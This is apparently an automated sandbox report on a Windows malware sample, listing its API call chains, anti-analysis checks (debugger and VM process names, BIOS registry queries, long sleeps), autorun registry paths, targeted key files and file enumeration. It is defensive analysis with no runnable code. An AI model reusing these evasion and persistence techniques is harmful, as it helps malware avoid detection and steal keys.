Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,5_2_00E337E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,5_2_00E527C0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: StrStrIA,GetProcAddress,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,5_2_00E3D7A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,5_2_00E50F40
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,StrStrIA,5_2_00E52750
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,8_2_00E867D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetUserNameA,memset,StrStrIA,8_2_00E8A8E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,8_2_00E921E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,8_2_00E91160
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,8_2_00E71170
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,8_2_00E8C900
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,8_2_00E93910
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,8_2_00E85230
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,8_2_00E93B90
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,8_2_00E77D50
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,8_2_00E71660
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,8_2_00E737E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,8_2_00E927C0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: StrStrIA,GetProcAddress,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,8_2_00E7D7A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,8_2_00E90F40
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,StrStrIA,8_2_00E92750
Contains functionality to detect sandboxes (registry SystemBiosVersion/Date)
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00403870 RegQueryValueEx -> SystemBiosVersion/Date0_2_00403870
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00403870 RegQueryValueEx -> SystemBiosVersion/Date2_2_00403870
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeEvasive API call chain: CreateMutex,DecisionNodes,Sleep
Source: C:\Windows\apppatch\svchost.exeEvasive API call chain: CreateMutex,DecisionNodes,Sleepgraph_2-82754
Found evasive API chain (may stop execution after checking volume information)
Source: C:\Users\user\Desktop\roundwood.exeEvasive API call chain: GetVolumeInformation,DecisionNodes,ExitProcessgraph_0-30303
Found evasive API chain checking for user administrative privileges
Source: C:\Windows\apppatch\svchost.exeCheck user administrative privileges: IsUserAndAdmin, DecisionNodegraph_2-82701
Source: C:\Users\user\Desktop\roundwood.exeCheck user administrative privileges: IsUserAndAdmin, DecisionNodegraph_0-30336
Found stalling execution ending in API Sleep call
Source: C:\Windows\apppatch\svchost.exeStalling execution: Execution stalls by calling Sleepgraph_2-82343
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2748593286.0000000000E70000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2747738831.0000000000C50000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2700298723.0000000001410000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2700342737.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451003879.0000000000900000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451052390.0000000000960000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000002.2455624289.0000000001450000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000002.2455739148.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000015.00000002.2460078038.0000000002B30000.00000040.00000001.00020000.00000000.sdmpBinary or memory string: IDAG.EXE
Source: svchost.exe, 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: NOLLYDBGWIRESHARK.EXEDUMPCAP.EXEIDAG.EXEVMWARETRAY.EXE\\?\GLOBALROOT\SYSTEMROOT\SYSTEM32\VMX_FB.DLLSYSTEMDRIVESOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON%XSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNUSERINIT\\?\GLOBALROOT\SYSTEMROOT\SYSTEM32\DRIVERS\NTFS.SYSNTDLL.DLLRTLUNIFORMKERNEL32.DLLISWOW64PROCESSKERNEL.DLLA
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000002.2502070915.0000000002760000.00000040.00000001.00020000.00000000.sdmpBinary or memory string: NAME.KEY\SECRETS.KEYSIGN.KEYJAVA.EXEKERNEL32.DLLCREATEFILEW\EXPLORER.EXEGETFILEATTRIBUTESWUSER32.DLLGETWINDOWTEXTAOLLYDBGWIRESHARK.EXEDUMPCAP.EXEIDAG.EXEVMWARETRAY.EXE\\?\GLOBALROOT\SYSTEMROOT\SYSTEM32\VMX_FB.DLLABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000002.2502168671.0000000002900000.00000040.00000001.00020000.00000000.sdmpBinary or memory string: VNAME.KEY\SECRETS.KEYSIGN.KEYJAVA.EXEKERNEL32.DLLCREATEFILEW\EXPLORER.EXEGETFILEATTRIBUTESWUSER32.DLLGETWINDOWTEXTAOLLYDBGWIRESHARK.EXEDUMPCAP.EXEIDAG.EXEVMWARETRAY.EXE\\?\GLOBALROOT\SYSTEMROOT\SYSTEM32\VMX_FB.DLLABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2748593286.0000000000E70000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2747738831.0000000000C50000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2700298723.0000000001410000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2700342737.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451003879.0000000000900000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451052390.0000000000960000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000002.2455624289.0000000001450000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000002.2455739148.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000015.00000002.2460078038.0000000002B30000.00000040.00000001.00020000.00000000.sdmpBinary or memory string: DUMPCAP.EXE
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2748593286.0000000000E70000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2747738831.0000000000C50000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2700298723.0000000001410000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2700342737.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451003879.0000000000900000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451052390.0000000000960000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000002.2455624289.0000000001450000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000002.2455739148.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000015.00000002.2460078038.0000000002B30000.00000040.00000001.00020000.00000000.sdmpBinary or memory string: WIRESHARK.EXE
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00401DE0 rdtsc 0_2_00401DE0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D17300 CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle,2_2_02D17300
Source: C:\Windows\apppatch\svchost.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\apppatch\svchost.exeWindow / User API: threadDelayed 3728Jump to behavior
Source: C:\Windows\apppatch\svchost.exeWindow / User API: threadDelayed 6097Jump to behavior
Source: C:\Windows\apppatch\svchost.exeEvaded block: after key decisiongraph_2-82499
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeEvaded block: after key decision
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeEvaded block: after key decision
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeEvaded block: after key decision
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D17430 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,VirtualQuery,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,2_2_02D17430
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012F7430 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,4_2_012F7430
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E47430 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,5_2_00E47430
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E87430 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,8_2_00E87430
Source: C:\Windows\apppatch\svchost.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_2-82789
Source: C:\Windows\apppatch\svchost.exeAPI coverage: 6.8 %
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeAPI coverage: 3.6 %
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeAPI coverage: 2.5 %
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeAPI coverage: 3.4 %
Source: C:\Windows\apppatch\svchost.exe TID: 5304Thread sleep count: 3728 > 30Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 5304Thread sleep time: -372800s >= -30000sJump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 5304Thread sleep count: 6097 > 30Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 5304Thread sleep time: -609700s >= -30000sJump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 5248Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D1E1B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,2_2_02D1E1B0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D2D638 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,2_2_02D2D638
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D29460 PathFileExistsA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,2_2_02D29460
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D1CC10 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,2_2_02D1CC10
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D07400 PathFileExistsA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,2_2_02D07400
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D2D5A0 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,2_2_02D2D5A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012FE1B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,4_2_012FE1B0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_0130D5A0 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,4_2_0130D5A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012E7400 GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,4_2_012E7400
